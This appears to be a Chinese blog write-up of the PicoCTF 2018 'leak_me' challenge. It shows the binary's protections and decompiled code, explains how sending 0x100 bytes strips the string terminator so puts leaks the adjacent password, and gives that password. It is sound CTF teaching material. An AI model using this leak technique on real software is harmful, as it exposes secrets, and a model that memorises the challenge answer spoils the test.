picoctf_2018_leak_me

文章描述了一个在PicoCTF比赛中的32位程序,具有NX保护但无PIE。利用puts的特性,通过输入特殊字符序列获取密码,实现本地shell。漏洞利用方法包括输入0x100字节覆盖变量并提取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

picoctf_2018_leak_me

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位,只开了NX

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1[64]; // [esp+0h] [ebp-194h] BYREF
  char v5[256]; // [esp+40h] [ebp-154h] BYREF
  char s[64]; // [esp+140h] [ebp-54h] BYREF
  FILE *stream; // [esp+180h] [ebp-14h]
  char *v8; // [esp+184h] [ebp-10h]
  __gid_t v9; // [esp+188h] [ebp-Ch]
  int *p_argc; // [esp+18Ch] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdout, 0, 2, 0);
  v9 = getegid();
  setresgid(v9, v9, v9);
  memset(s, 0, sizeof(s));
  memset(v5, 0, sizeof(v5));
  memset(s1, 0, sizeof(s1));
  puts("What is your name?");
  fgets(v5, 0x100, stdin);
  v8 = strchr(v5, 10);
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nPlease Enter the Password.");
  stream = fopen("password.txt", "r");
  if ( !stream )
  {
    puts(
      "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("Hello ");
  puts(v5);
  fgets(s1, 0x40, stdin);
  v5[0] = 0;
  if ( !strcmp(s1, s) )
    flag();
  else
    puts("Incorrect Password!");
  return 0;
}

有个后门,只要我们输入正确的密码就getshell了

看我们输入的点,v5和s的位置

char v5[256]; // [esp+40h] [ebp-154h] BYREF
char s[64]; // [esp+140h] [ebp-54h] BYREF

这两个是紧挨着的并且password是读入到s的

思路

利用puts的特性,遇到\x00截断才终止输出,我们输入是0x100个字节,就可以把s后面的内容输出出来了

exp:

b'a'*0x100进去
得到a_reAllY_s3cuRe_p4s$word_f85406
这个就是密码

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值